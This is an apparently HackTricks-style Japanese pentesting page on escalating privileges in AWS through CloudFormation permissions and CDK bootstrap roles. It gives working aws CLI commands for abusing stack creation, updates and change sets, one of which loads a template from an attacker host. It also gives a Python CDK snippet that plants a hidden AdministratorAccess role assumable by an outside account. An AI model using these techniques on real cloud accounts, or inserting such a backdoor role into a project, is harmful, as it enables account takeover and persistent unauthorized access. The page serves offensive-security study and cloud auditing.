# AWS - Cloudformation Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## cloudformation

cloudformationに関する詳細情報は、以下を確認してください：

{{#ref}}
../../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}

### `iam:PassRole`, `cloudformation:CreateStack`

これらの権限を持つ攻撃者は、**指定されたロールの権限の下でアクションを実行するために、サーバーにホストされたカスタムテンプレートを使用して** **CloudFormationスタック**を作成することで**権限を昇格させる**ことができます：
```bash
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>
```
以下のページには、追加の権限 **`cloudformation:DescribeStacks`** を持つ **エクスプロイト例**があります：

{{#ref}}
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
{{#endref}}

**潜在的な影響:** 指定されたcloudformationサービスロールへの権限昇格。

### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)

この場合、**既存のcloudformationスタックを悪用**して、それを更新し、前のシナリオのように権限を昇格させることができます：
```bash
aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1
```
`cloudformation:SetStackPolicy` 権限を使用して、**自分に `UpdateStack` 権限を与え**、攻撃を実行できます。

**潜在的な影響:** 指定された cloudformation サービスロールへの権限昇格。

### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`

この権限を持っているが **`iam:PassRole` がない場合**でも、**使用されているスタックを更新**し、**既に添付されている IAM ロールを悪用**することができます。悪用の例については前のセクションを確認してください（更新時にロールを指定しないでください）。

`cloudformation:SetStackPolicy` 権限を使用して、**自分に `UpdateStack` 権限を与え**、攻撃を実行できます。

**潜在的な影響:** 既に添付されている cloudformation サービスロールへの権限昇格。

### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)

ロールを**渡し、ChangeSet を作成および実行する**権限を持つ攻撃者は、**新しい cloudformation スタックを作成/更新し、cloudformation サービスロールを悪用**することができます。これは CreateStack または UpdateStack と同様です。

以下の悪用は、**ChangeSet 権限を使用してスタックを作成する**[ **CreateStack の**](#iam-passrole-cloudformation-createstack) **バリエーションです。**
```bash
aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1
```
`cloudformation:SetStackPolicy` 権限を使用して、**スタックに対して `ChangeSet` 権限を付与**し、攻撃を実行できます。

**潜在的な影響:** cloudformation サービスロールへの権限昇格。

### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)

これは、**IAM ロール**を渡さずに前の方法と同様で、すでにアタッチされているロールを**悪用する**ことができます。パラメータを変更するだけです:
```
--change-set-type UPDATE
```
**潜在的影響:** 既にアタッチされているcloudformationサービスロールへの権限昇格。

### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)

攻撃者はこれらの権限を悪用してStackSetsを作成/更新し、任意のcloudformationロールを悪用する可能性があります。

**潜在的影響:** cloudformationサービスロールへの権限昇格。

### `cloudformation:UpdateStackSet`

攻撃者はpassRole権限なしでこの権限を悪用してStackSetsを更新し、アタッチされたcloudformationロールを悪用する可能性があります。

**潜在的影響:** アタッチされたcloudformationロールへの権限昇格。

## AWS CDK

AWS cdkは、ユーザーが既に慣れ親しんでいる言語でインフラストラクチャをコードとして定義できるツールキットであり、セクションを簡単に再利用できます。CDKはその後、高レベルのコード（つまりpython）をCloudformationテンプレート（yamlまたはjson）に変換します。

CDKを使用するには、管理者ユーザーが最初にアカウントをブートストラップする必要があり、これによりいくつかのIAMロールが作成されます。これには、\*/\*権限を持つ*exec role*が含まれます。これらのロールは、`cdk-<qualifier>-<name>-<account-id>-<region>`という命名構造に従います。ブートストラッピングは、アカウントごとに地域ごとに一度行う必要があります。

デフォルトでは、CDKユーザーはCDKを使用するために必要なロールをリストするアクセス権を持っていないため、手動で特定する必要があります。開発者のマシンやCI/CDノードを侵害した場合、これらのロールを引き受けてCFNテンプレートをデプロイする能力を自分に付与することができ、アカウントを完全に侵害することになります。

### ロール名の特定

`cloudformation:DescribeStacks`を持っている場合、ロールは`CDKToolkit`というスタックに定義されており、そこから名前を取得できます。

CDKプロジェクトのビルドとデプロイに使用されたマシンにいる場合、プロジェクトのルートディレクトリにある`cdk.out/manafest.json`から取得できます。

また、ロールが何であるかを良い推測をすることもできます。`qualifier`は、CDKブートストラップの複数のインスタンスを同時にデプロイできるようにロールに追加される文字列ですが、デフォルト値は`hnb659fds`にハードコーディングされています。
```
# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>
```
### プロジェクトソースに悪意のあるコードを追加する

プロジェクトソースに書き込むことができるが、自分でデプロイできない場合（例えば、開発者がCI/CDを介してコードをデプロイする場合）、スタックに悪意のあるリソースを追加することで環境を侵害することができます。以下は、攻撃者アカウントによって引き受けられるIAMロールをpython CDKプロジェクトに追加します。
```python
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)

# ----------
# Some existing code.....
# ----------

role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)
```
## 参考文献

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)

{{#include ../../../../banners/hacktricks-training.md}}
